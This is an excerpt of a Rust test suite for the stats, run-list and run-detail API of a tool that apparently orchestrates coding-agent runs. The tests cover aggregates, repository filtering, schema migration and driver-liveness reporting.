17813 let html = include_str!("../assets/ui/index.html");
17814 assert!(html.contains("Approximate"));
17815 for label in ["reflected strongly", "faint", "no proposal"] {
17816 assert!(html.contains(label));
17817 }
17818 let css = include_str!("../assets/ui/app.css");
17819 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17820 assert!(css.contains(&format!(".{c} {{")));
17821 }
17822 }
17823
17824 #[test]
17825 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17826 assert!(APP_JS.contains("function statsDailyPlan("));
17827 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17828 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17829 }
17830
17831 #[test]
17832 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17833 let start = APP_JS
17834 .find("function scheduleSearch(")
17835 .expect("scheduleSearch exists");
17836 let body = &APP_JS[start..];
17837 let body = &body[..body.find("\n}\n").expect("function end")];
17838 assert!(body.contains("s.seq += 1"));
17839 }
17840
17841 #[tokio::test]
17846 async fn stats_runs_unreadable_matches_health() {
17847 let f = Fixture::start().await;
17848 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17849 let broken = f.runs().join("20260902-140502-bad");
17850 std::fs::create_dir_all(&broken).expect("run dir");
17851 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17852
17853 let stats = f.get("/api/stats").await;
17854 let health = f.get("/api/health").await;
17855
17856 assert_eq!(stats.status, 200);
17857 assert_eq!(stats.json()["totals"]["runs"], 1);
17858 assert_eq!(stats.json()["runs_unreadable"], 1);
17859 assert_eq!(
17860 stats.json()["runs_unreadable"],
17861 health.json()["runs_unreadable"],
17862 "the dashboard and /api/health must never disagree about how many \
17863 runs could not be read"
17864 );
17865 }
17866
17867 #[tokio::test]
17868 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17869 let f = Fixture::start().await;
17870 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17871 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17872 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17873
17874 let totals = &f.get("/api/stats").await.json()["totals"];
17875 assert_eq!(totals["runs"], 3);
17876 assert_eq!(totals["merged"], 1);
17877 assert_eq!(totals["stalled"], 1);
17878 assert_eq!(totals["in_progress"], 1);
17879 assert_eq!(totals["blocked"], 0);
17882 assert_eq!(totals["ready"], 0);
17883 }
17884
17885 #[tokio::test]
17886 async fn stats_advisors_report_proposals_and_reflection() {
17887 use crate::advise::{Advice, AdvisorRecord, Reflection};
17888 use crate::verdict::Proposal;
17889
17890 let f = Fixture::start().await;
17891 let mut state = RunState::new(
17892 PathBuf::from("/repo/magi"),
17893 "main".to_owned(),
17894 "0123456789abcdef".to_owned(),
17895 "task".to_owned(),
17896 Config::default(),
17897 );
17898 state.id = "20260902-140501-a".to_owned();
17899 state.status = RunStatus::Merged;
17900 state.advice = Some(Advice {
17901 records: vec![
17902 AdvisorRecord {
17903 seat: "advisor-1".to_owned(),
17904 agent: "alpha".to_owned(),
17905 proposal: Some(Proposal {
17906 approach: "do it".to_owned(),
17907 key_tradeoff: "speed over memory".to_owned(),
17908 risks: Vec::new(),
17909 touches: Vec::new(),
17910 why_not_naive: "breaks under load".to_owned(),
17911 }),
17912 error: None,
17913 duration_ms: 0,
17914 reflection: Reflection::Strong,
17915 },
17916 AdvisorRecord {
17917 seat: "advisor-2".to_owned(),
17918 agent: "alpha".to_owned(),
17919 proposal: None,
17920 error: Some("timed out".to_owned()),
17921 duration_ms: 0,
17922 reflection: Reflection::Absent,
17923 },
17924 ],
17925 synthesis: Some("blended brief".to_owned()),
17926 });
17927 let dir = f.runs().join(&state.id);
17928 std::fs::create_dir_all(&dir).expect("run dir");
17929 std::fs::write(
17930 dir.join("run.json"),
17931 serde_json::to_string_pretty(&state).expect("serialize run"),
17932 )
17933 .expect("write run.json");
17934
17935 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17937 let alpha = advisors
17938 .as_array()
17939 .expect("an array")
17940 .iter()
17941 .find(|a| a["agent"] == "alpha")
17942 .expect("alpha row");
17943 assert_eq!(alpha["seated"], 2);
17944 assert_eq!(alpha["proposed"], 1);
17945 assert_eq!(alpha["absent"], 1);
17946 assert_eq!(alpha["strong"], 1);
17947 assert_eq!(alpha["faint"], 0);
17948 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17949 }
17950
17951 #[tokio::test]
17952 async fn stats_hides_agents_outside_the_roster_unless_all() {
17953 use crate::run::Candidate;
17954 let repo = TempDir::new().expect("repo dir");
17955 std::fs::write(
17956 repo.path().join("magi.toml"),
17957 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17958 )
17959 .expect("magi.toml");
17960 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17961 let mut state = RunState::new(
17962 PathBuf::from("/repo/magi"),
17963 "main".to_owned(),
17964 "0123456789abcdef".to_owned(),
17965 "task".to_owned(),
17966 Config::default(),
17967 );
17968 state.id = "20260902-140501-a".to_owned();
17969 state.status = RunStatus::Merged;
17970 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17971 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17972 "index": 0, "label": label.to_string(), "agent": agent,
17973 "branch": "b", "worktree": "/w",
17974 }))
17975 .expect("candidate");
17976 c.label = label;
17977 state.candidates.push(c);
17978 }
17979 let dir = f.runs().join(&state.id);
17980 std::fs::create_dir_all(&dir).expect("run dir");
17981 std::fs::write(
17982 dir.join("run.json"),
17983 serde_json::to_string_pretty(&state).expect("serialize run"),
17984 )
17985 .expect("write run.json");
17986
17987 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17988 v["agents"]
17989 .as_array()
17990 .expect("array")
17991 .iter()
17992 .map(|a| a["agent"].as_str().unwrap().to_owned())
17993 .collect()
17994 };
17995 let hidden = f.get("/api/stats").await.json();
17996 assert_eq!(agents_of(&hidden), ["keep"]);
17997 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17998 assert_eq!(hidden["totals"]["runs"], 1);
17999
18000 let all = f.get("/api/stats?all=true").await.json();
18001 assert_eq!(agents_of(&all).len(), 2);
18002 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18003 let keep_agent = all["agents"]
18005 .as_array()
18006 .unwrap()
18007 .iter()
18008 .find(|a| a["agent"] == "keep")
18009 .unwrap();
18010 assert_eq!(keep_agent["competitive_entered"], 1);
18011 assert_eq!(keep_agent["competitive_wins"], 0);
18012 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18013 assert_eq!(keep_agent["solo_entered"], 0);
18014 assert_eq!(keep_agent["solo_adopted"], 0);
18015 assert!(keep_agent["solo_adoption_rate"].is_null());
18016 }
18017
18018 #[tokio::test]
18019 async fn stats_release_bumps_split_clean_from_attention() {
18020 use crate::run::ReleaseBump;
18021
18022 let f = Fixture::start().await;
18023
18024 let mut clean = RunState::new(
18025 PathBuf::from("/repo/magi"),
18026 "main".to_owned(),
18027 "0123456789abcdef".to_owned(),
18028 "task".to_owned(),
18029 Config::default(),
18030 );
18031 clean.id = "20260902-140501-a".to_owned();
18032 clean.status = RunStatus::Merged;
18033 clean.release_bump = Some(ReleaseBump {
18034 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18035 version: Some("1.0.0".to_owned()),
18036 automerge_enabled: true,
18037 merged_directly: false,
18038 local: false,
18039 release: None,
18040 problem: None,
18041 action_required: None,
18042 });
18043
18044 let mut blocked = RunState::new(
18045 PathBuf::from("/repo/magi"),
18046 "main".to_owned(),
18047 "0123456789abcdef".to_owned(),
18048 "task".to_owned(),
18049 Config::default(),
18050 );
18051 blocked.id = "20260902-140502-b".to_owned();
18052 blocked.status = RunStatus::Merged;
18053 blocked.release_bump = Some(ReleaseBump {
18054 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18055 version: Some("1.0.1".to_owned()),
18056 automerge_enabled: false,
18057 merged_directly: false,
18058 local: false,
18059 release: None,
18060 problem: Some("checks red".to_owned()),
18061 action_required: Some("look at the PR".to_owned()),
18062 });
18063
18064 for state in [&clean, &blocked] {
18065 let dir = f.runs().join(&state.id);
18066 std::fs::create_dir_all(&dir).expect("run dir");
18067 std::fs::write(
18068 dir.join("run.json"),
18069 serde_json::to_string_pretty(state).expect("serialize run"),
18070 )
18071 .expect("write run.json");
18072 }
18073
18074 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18075 assert_eq!(bumps["merged"], 2);
18076 assert_eq!(bumps["recorded"], 2);
18077 assert_eq!(bumps["pr_opened"], 2);
18078 assert_eq!(bumps["automerge_enabled"], 1);
18079 assert_eq!(bumps["needs_attention"], 1);
18080 assert_eq!(bumps["clean"], 1);
18081 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18082 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18083 }
18084
18085 #[tokio::test]
18086 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18087 let f = Fixture::start().await;
18088 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18089
18090 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18091 assert_eq!(bumps["merged"], 1);
18092 assert_eq!(bumps["recorded"], 0);
18093 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18096 assert_eq!(bumps["automerge_rate"], Value::Null);
18099 assert_eq!(bumps["attention_rate"], Value::Null);
18100 }
18101
18102 #[tokio::test]
18103 async fn stats_queue_counts_come_from_the_live_queue() {
18104 let f = Fixture::start().await;
18105 let q = f.queue();
18106 let mut queued = Task::new(
18107 "queued task".to_owned(),
18108 "do it".to_owned(),
18109 PathBuf::from("/repo"),
18110 Source::Human,
18111 );
18112 q.put(&mut queued).expect("put queued");
18113 let mut held = Task::new(
18114 "held task".to_owned(),
18115 "do it later".to_owned(),
18116 PathBuf::from("/repo"),
18117 Source::Human,
18118 );
18119 held.hold_machine(Some("out of attempts".to_owned()));
18120 q.put(&mut held).expect("put held");
18121
18122 let queue = f.get("/api/stats").await.json()["queue"].clone();
18123 assert_eq!(queue["queued"], 1);
18124 assert_eq!(queue["held"], 1);
18125 assert_eq!(queue["running"], 0);
18126 assert_eq!(queue["done"], 0);
18127 assert_eq!(queue["failed"], 0);
18128 assert_eq!(queue["blocked"], 0);
18129 }
18130
18131 #[tokio::test]
18132 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18133 let f = Fixture::start().await;
18134 let stats = f.get("/api/stats").await;
18135 assert_eq!(stats.status, 200);
18136 assert_eq!(stats.json()["totals"]["runs"], 0);
18137 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18138 assert_eq!(stats.json()["runs_unreadable"], 0);
18139 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18140 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18141 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18142 assert_eq!(stats.json()["repo"], Value::Null);
18143 }
18144
18145 #[tokio::test]
18146 async fn stats_lists_every_repository_with_runs_recorded() {
18147 let f = Fixture::start().await;
18148 write_run_repo(
18149 &f.runs(),
18150 "20260902-140501-a",
18151 RunStatus::Merged,
18152 "/repos/a",
18153 );
18154 write_run_repo(
18155 &f.runs(),
18156 "20260902-140502-b",
18157 RunStatus::Merged,
18158 "/repos/a",
18159 );
18160 write_run_repo(
18161 &f.runs(),
18162 "20260902-140503-c",
18163 RunStatus::Blocked,
18164 "/repos/b",
18165 );
18166
18167 let stats = f.get("/api/stats").await;
18168 assert_eq!(stats.status, 200);
18169 assert_eq!(stats.json()["totals"]["runs"], 3);
18171 assert_eq!(stats.json()["repo"], Value::Null);
18172
18173 let repos = stats.json()["repos"].clone();
18174 let repos = repos.as_array().unwrap();
18175 assert_eq!(repos.len(), 2);
18176 assert_eq!(repos[0]["repo"], "/repos/a");
18178 assert_eq!(repos[0]["name"], "a");
18179 assert_eq!(repos[0]["runs"], 2);
18180 assert_eq!(repos[1]["repo"], "/repos/b");
18181 assert_eq!(repos[1]["runs"], 1);
18182 }
18183
18184 #[tokio::test]
18185 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18186 let f = Fixture::start().await;
18187 write_run_repo(
18188 &f.runs(),
18189 "20260902-140501-a",
18190 RunStatus::Merged,
18191 "/repos/a",
18192 );
18193 write_run_repo(
18194 &f.runs(),
18195 "20260902-140502-b",
18196 RunStatus::Blocked,
18197 "/repos/b",
18198 );
18199
18200 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18201 assert_eq!(stats.status, 200);
18202 assert_eq!(stats.json()["totals"]["runs"], 1);
18203 assert_eq!(stats.json()["totals"]["merged"], 1);
18204 assert_eq!(stats.json()["repo"], "/repos/a");
18205 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18208 assert_eq!(stats.json()["runs_unreadable"], 0);
18211 }
18212
18213 #[tokio::test]
18214 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18215 let f = Fixture::start().await;
18216 write_run_repo(
18217 &f.runs(),
18218 "20260902-140501-a",
18219 RunStatus::Merged,
18220 "/repos/a",
18221 );
18222 write_run_repo(
18223 &f.runs(),
18224 "20260902-140502-b",
18225 RunStatus::Merged,
18226 "/repos/b",
18227 );
18228
18229 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18230 let json = f.get(uri).await.json();
18231 let daily = json["daily"].as_array().expect("daily is an array");
18232 assert_eq!(daily.len(), 30);
18233 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18234 let mut sorted = dates.clone();
18235 sorted.sort();
18236 assert_eq!(dates, sorted);
18237 for d in daily {
18238 assert_eq!(
18239 d["merged"].as_u64().unwrap()
18240 + d["ready"].as_u64().unwrap()
18241 + d["other"].as_u64().unwrap(),
18242 d["runs"].as_u64().unwrap()
18243 );
18244 }
18245 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18246 }
18247 }
18248
18249 #[tokio::test]
18250 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18251 let f = Fixture::start().await;
18252 write_run_repo(
18253 &f.runs(),
18254 "20260902-140501-a",
18255 RunStatus::Merged,
18256 "/repos/a",
18257 );
18258
18259 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18260 assert_eq!(stats.status, 404);
18261 }
18262
18263 #[tokio::test]
18264 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18265 let f = Fixture::start().await;
18266 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18267
18268 let summary = f.get("/api/runs").await.json();
18269 let row = &summary[0];
18270 assert_eq!(row["short"], "a1b2");
18271 assert_eq!(row["status"], "ready");
18272 assert_eq!(row["done"], true);
18273 assert_eq!(row["title"], "Add a web UI");
18274 assert_eq!(row["repo_name"], "magi");
18275 assert_eq!(row["judges"], 3);
18276 assert_eq!(row["winner"], Value::Null);
18277 assert_eq!(row["reviews"], 0);
18278
18279 let detail = f.get("/api/runs/a1b2").await;
18282 assert_eq!(detail.status, 200);
18283 assert_eq!(detail.json()["base_branch"], "main");
18284 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18285 }
18286
18287 #[tokio::test]
18295 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18296 let f = Fixture::start().await;
18297
18298 let mut none_run = RunState::new(
18299 PathBuf::from("/repo/magi"),
18300 "main".to_owned(),
18301 "0123456789abcdef".to_owned(),
18302 "Add a web UI".to_owned(),
18303 Config::default(),
18304 );
18305 none_run.id = "20260902-140503-none".to_owned();
18306 none_run.status = RunStatus::Ready;
18307 none_run.merge = Some(crate::run::MergeOutcome {
18308 mode: crate::config::MergeMode::None,
18309 ok: true,
18310 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18311 empty: false,
18312 });
18313 write_state(&f.runs(), &none_run);
18314
18315 let mut pr_run = RunState::new(
18316 PathBuf::from("/repo/magi"),
18317 "main".to_owned(),
18318 "0123456789abcdef".to_owned(),
18319 "Add a web UI".to_owned(),
18320 Config::default(),
18321 );
18322 pr_run.id = "20260902-140504-prcl".to_owned();
18323 pr_run.status = RunStatus::Ready;
18324 pr_run.merge = Some(crate::run::MergeOutcome {
18325 mode: crate::config::MergeMode::Pr,
18326 ok: false,
18327 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18328 empty: false,
18329 });
18330 write_state(&f.runs(), &pr_run);
18331
18332 let summary = f.get("/api/runs").await.json();
18333 let rows: std::collections::HashMap<&str, &Value> = summary
18334 .as_array()
18335 .expect("an array")
18336 .iter()
18337 .map(|r| (r["id"].as_str().expect("an id"), r))
18338 .collect();
18339 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18340 assert_eq!(
18341 rows[none_run.id.as_str()]["unmerged_by_design"],
18342 true,
18343 "a mode-none Ready must be flagged in the list"
18344 );
18345 assert_eq!(
18346 rows[pr_run.id.as_str()]["unmerged_by_design"],
18347 false,
18348 "a Ready reached by a closed pull request is a different case"
18349 );
18350
18351 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18352 assert_eq!(none_detail["status"], "ready");
18353 assert_eq!(none_detail["unmerged_by_design"], true);
18354
18355 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18356 assert_eq!(pr_detail["unmerged_by_design"], false);
18357 }
18358
18359 #[tokio::test]
18364 async fn run_core_survives_unavailable_related_stores() {
18365 let home = TempDir::new().unwrap();
18366 let ui = delta_test_ui(home.path());
18367 let state = RunState::new(
18368 PathBuf::from("/repo/magi"),
18369 "main".into(),
18370 "0123456789abcdef".into(),
18371 "Useful core instructions".into(),
18372 Config::default(),
18373 );
18374 let dir = ui.runs.join(&state.id);
18375 std::fs::create_dir_all(&dir).unwrap();
18376 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18377 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18378 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18379 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18380 .await
18381 .unwrap()
18382 .0;
18383 assert_eq!(core.state.instruction, state.instruction);
18384 assert_eq!(core.state.updated_at, state.updated_at);
18385 assert!(core.task.is_none());
18386 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18387 }
18388
18389 #[tokio::test]
18390 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18391 let f = Fixture::start().await;
18392 let id = "20260902-140502-bbbb";
18396 let mut state = RunState::new(
18397 PathBuf::from("/repo/magi"),
18398 "main".to_owned(),
18399 "0123456789abcdef".to_owned(),
18400 "Add a web UI".to_owned(),
18401 Config::default(),
18402 );
18403 state.id = id.to_owned();
18404 state.status = RunStatus::Judging;
18405 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18406 let dir = f.runs().join(id);
18407 std::fs::create_dir_all(&dir).expect("run dir");
18408 std::fs::write(
18409 dir.join("run.json"),
18410 serde_json::to_string_pretty(&state).expect("serialize run"),
18411 )
18412 .expect("write run.json");
18413
18414 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18420 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18421 assert_eq!(cold["live"], "unknown", "{cold}");
18422
18423 write_daemon(f.home.path(), Timestamp::now());
18426 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18427 assert_eq!(warm["live"], "live", "{warm}");
18428 }
18429
18430 #[test]
18431 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18432 let home = tempfile::tempdir().expect("temp home");
18433 let runs = home.path().join("runs");
18434 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18435 let mut state = RunState::new(
18436 PathBuf::from("/repo/magi"),
18437 "main".to_owned(),
18438 "0123456789abcdef".to_owned(),
18439 "Generated review context, not authored task criteria".to_owned(),
18440 Config::default(),
18441 );
18442 state.origin = origin;
18443 state.status = RunStatus::Blocked;
18444 state.driver_exited = false;
18446 state.gate_ran = true;
18447 let expected = serde_json::to_value(&state).expect("serialize current state");
18448 let mut legacy = expected.clone();
18449 legacy["schema"] = serde_json::json!(13);
18450 legacy.as_object_mut().unwrap().remove("task_instruction");
18451 let dir = runs.join(&state.id);
18452 std::fs::create_dir_all(&dir).expect("run dir");
18453 let path = dir.join("run.json");
18454 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18455 std::fs::write(&path, &body).expect("write legacy run");
18456
18457 for loaded in [
18458 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18459 read_run(&runs, &state.id).expect("web migration"),
18460 ] {
18461 assert_eq!(loaded.schema, crate::run::SCHEMA);
18462 assert!(loaded.task_instruction.is_none());
18463 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18464 }
18465 assert_eq!(runs_unreadable(&runs), 0);
18466 assert_eq!(std::fs::read(&path).unwrap(), body);
18467 }
18468 }
18469
18470 #[tokio::test]
18473 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18474 let f = Fixture::start().await;
18475 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18476 let mut state = RunState::new(
18477 PathBuf::from("/repo/magi"),
18478 "main".to_owned(),
18479 "0123456789abcdef".to_owned(),
18480 "Add a web UI".to_owned(),
18481 Config::default(),
18482 );
18483 state.id = id.to_owned();
18484 state.origin = origin;
18485 let mut value = serde_json::to_value(&state).expect("serialize run");
18486 if let Some(schema) = schema {
18487 value["schema"] = serde_json::json!(schema);
18488 value.as_object_mut().unwrap().remove("origin");
18489 }
18490 let dir = f.runs().join(id);
18491 std::fs::create_dir_all(&dir).expect("run dir");
18492 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18493 };
18494 write(
18495 "20260930-092817-ec34",
18496 Some(crate::run::Origin::from_agent_env(
18497 Some(("4a7b".to_owned(), "chat".to_owned())),
18498 None,
18499 )),
18500 None,
18501 );
18502 write("20260930-092817-0ld1", None, Some(12));
18503
18504 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18505 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18506 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18507
18508 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18509 assert_eq!(
18510 old["origin_label"], "origin unknown (started before origins were recorded)",
18511 "{old}"
18512 );
18513 assert!(old["origin"].is_null(), "{old}");
18514
18515 let list = f.get("/api/runs").await.json();
18516 let labels: Vec<_> = list
18517 .as_array()
18518 .unwrap()
18519 .iter()
18520 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18521 .collect();
18522 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18523 }
18524
18525 #[tokio::test]
18532 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18533 let f = Fixture::start().await;
18534 let id = "20260922-090000-cccc";
18535 let mut state = RunState::new(
18536 PathBuf::from("/repo/magi"),
18537 "main".to_owned(),
18538 "0123456789abcdef".to_owned(),
18539 "Review only".to_owned(),
18540 Config::default(),
18541 );
18542 state.id = id.to_owned();
18543 state.status = RunStatus::Reviewing;
18544 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18545 state.driver_pid = Some(std::process::id());
18551 state.driver_started_at = Some(
18552 crate::proc::process_started_at(std::process::id())
18553 .expect("this test process's own start time must be queryable"),
18554 );
18555 let dir = f.runs().join(id);
18556 std::fs::create_dir_all(&dir).expect("run dir");
18557 std::fs::write(
18558 dir.join("run.json"),
18559 serde_json::to_string_pretty(&state).expect("serialize run"),
18560 )
18561 .expect("write run.json");
18562
18563 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18564 assert_eq!(detail["live"], "live", "{detail}");
18565 }
18566
18567 #[tokio::test]
18573 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18574 let f = Fixture::start().await;
18575 let id = "20260922-090100-dddd";
18576 let mut state = RunState::new(
18577 PathBuf::from("/repo/magi"),
18578 "main".to_owned(),
18579 "0123456789abcdef".to_owned(),
18580 "Review only".to_owned(),
18581 Config::default(),
18582 );
18583 state.id = id.to_owned();
18584 state.status = RunStatus::Reviewing;
18585 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18586 state.driver_pid = Some(std::process::id());
18591 state.driver_started_at = Some("1".to_owned());
18592 let dir = f.runs().join(id);
18593 std::fs::create_dir_all(&dir).expect("run dir");
18594 std::fs::write(
18595 dir.join("run.json"),
18596 serde_json::to_string_pretty(&state).expect("serialize run"),
18597 )
18598 .expect("write run.json");
18599
18600 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18601 assert_eq!(detail["live"], "dead", "{detail}");
18602 }
18603
18604 #[test]
18608 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18609 let mk = |id: &str, pid: Option<u32>| {
18610 let mut s = RunState::new(
18611 PathBuf::from("/repo/magi"),
18612 "main".to_owned(),
18613 "0123456789abcdef".to_owned(),
18614 "Add a web UI".to_owned(),
18615 Config::default(),
18616 );
18617 s.id = id.to_owned();
18618 s.driver_pid = pid;
18619 s.driver_started_at = Some("1790000000".to_owned());
18620 s
18621 };
18622 let states = vec![
18623 mk("20260902-140502-aaaa", Some(77)),
18624 mk("20260902-140502-bbbb", Some(77)),
18625 mk("20260902-140502-cccc", Some(77)),
18626 mk("20260902-140502-dddd", None),
18627 ];
18628 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18629 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18630 let sup: HashMap<String, String> = [(
18631 "20260902-140502-aaaa".to_owned(),
18632 "20260902-140502-cccc".to_owned(),
18633 )]
18634 .into();
18635
18636 let status_calls = std::cell::Cell::new(0);
18637 let identity_calls = std::cell::Cell::new(0);
18638 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18639 |_| {
18640 status_calls.set(status_calls.get() + 1);
18641 Some(true)
18642 },
18643 |_| {
18644 identity_calls.set(identity_calls.get() + 1);
18645 Some("1790000000".to_owned())
18646 },
18647 ));
18648 let rows = summarize(
18649 states,
18650 &open,
18651 &claimed,
18652 &sup,
18653 |p| probe.borrow_mut().status(p),
18654 |p| probe.borrow_mut().started_at(p),
18655 );
18656
18657 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18658 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18659 assert_eq!(rows.len(), 4);
18660 assert!(!rows[0].waiting && rows[1].waiting);
18661 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18662 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18663 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18664 assert_eq!(rows[1].superseded_by, None);
18665 }
18666
18667 #[test]
18668 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18669 let mut state = RunState::new(
18670 PathBuf::from("/repo/magi"),
18671 "main".to_owned(),
18672 "0123456789abcdef".to_owned(),
18673 "Review only".to_owned(),
18674 Config::default(),
18675 );
18676 state.id = "20260922-090200-dead".to_owned();
18677 state.status = RunStatus::Reviewing;
18678 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18679 .expect("serialize list row");
18680 assert_eq!(row["status"], "reviewing");
18681 assert_eq!(row["display_status"], "stale");
18682 assert_eq!(row["live"], "dead", "{row}");
18683 assert!(!row["done"].as_bool().unwrap());
18684 }
18685
18686 #[test]
18687 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18688 use crate::run::Liveness::{Dead, Live, Unknown};
18689 let mut state = RunState::new(
18690 PathBuf::from("/repo/magi"),
18691 "main".to_owned(),
18692 "abc".to_owned(),
18693 "Review only".to_owned(),
18694 Config::default(),
18695 );
18696 for (status, parked, node, waiting, live, expected) in [
18697 (
18698 RunStatus::Judging,
18699 true,
18700 "github-text",
18701 false,
18702 Dead,
18703 "parked",
18704 ),
18705 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18706 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18707 (
18708 RunStatus::Judging,
18709 true,
18710 "github-text",
18711 true,
18712 Dead,
18713 "waiting",
18714 ),
18715 (
18716 RunStatus::Judging,
18717 false,
18718 "github-text",
18719 true,
18720 Dead,
18721 "waiting",
18722 ),
18723 (
18724 RunStatus::Judging,
18725 false,
18726 "github-text",
18727 false,
18728 Dead,
18729 "stale",
18730 ),
18731 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18732 (RunStatus::Judging, true, "park", false, Live, "judging"),
18733 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18734 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18735 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18736 (
18737 RunStatus::Blocked,
18738 true,
18739 "github-text",
18740 true,
18741 Dead,
18742 "waiting",
18743 ),
18744 ] {
18745 state.status = status;
18746 state.parked = parked;
18747 state.events.clear();
18748 state.event(
18749 "park",
18750 "an earlier park does not determine the latest state",
18751 );
18752 state.event(node, "message is not used for classification");
18753 let summary = RunSummary::of(&state, waiting, live);
18754 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18755 assert_eq!(
18756 summary.display_status, expected,
18757 "{status:?}/{node}/{live:?}"
18758 );
18759 assert_eq!(detail.display_status, summary.display_status);
18760 assert_eq!(detail.waiting, summary.waiting);
18761 }
18762 state.status = RunStatus::Judging;
18763 state.parked = false;
18764 state.events.clear();
18765 assert_eq!(run_display_status(&state, false, Dead), "stale");
18766 }
18767
18768 #[test]
18769 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18770 use crate::run::Liveness::{Dead, Live, Unknown};
